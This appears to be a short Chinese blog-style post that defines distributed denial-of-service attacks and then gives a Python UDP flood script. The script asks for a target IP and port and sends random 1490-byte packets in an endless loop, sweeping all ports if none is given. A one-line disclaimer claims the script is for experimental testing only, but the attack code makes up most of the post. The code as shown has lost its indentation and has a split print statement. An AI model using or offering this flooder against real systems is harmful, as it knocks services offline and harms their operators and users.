仅用于实验之间的测试,不参与非法攻击
分布式拒绝攻击(英文意思是Distributed Denial of Service,简称DDoS)是指处于不同位置的多个攻击者同时向一个或数个目标发动攻击,或者一个攻击者控制了位于不同位置的多台机器并利用这些机器对受害者同时实施攻击。由于攻击的发出点是分布在不同地方的,这类攻击称为分布式拒绝服务攻击,其中的攻击者可以有多个。
# coding: utf8
print("Initializing...\n")
import socket
import random
# 构建socket通讯
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 构建字节数据包
byte = random._urandom(1490)
try:
ip = raw_input("IP Dress: ")
port = raw_input("Port(Leave a blank to attack all of the ports): ")
except:
ip = input("IP Dress: ")
port = input("Port(Leave a blank to attack all of the ports): ")
if port == "":
port = 1
re = True
else:
port = int(port)
re = False
sent = 0
while True:
sock.sendto(byte, (ip, port))
sent = sent + 1
print
"Sent %s packet to %s throught port %s." % (str(sent), ip, str(port))
if re:
port = port + 1
else:
pass
if port == 65534:
port = 1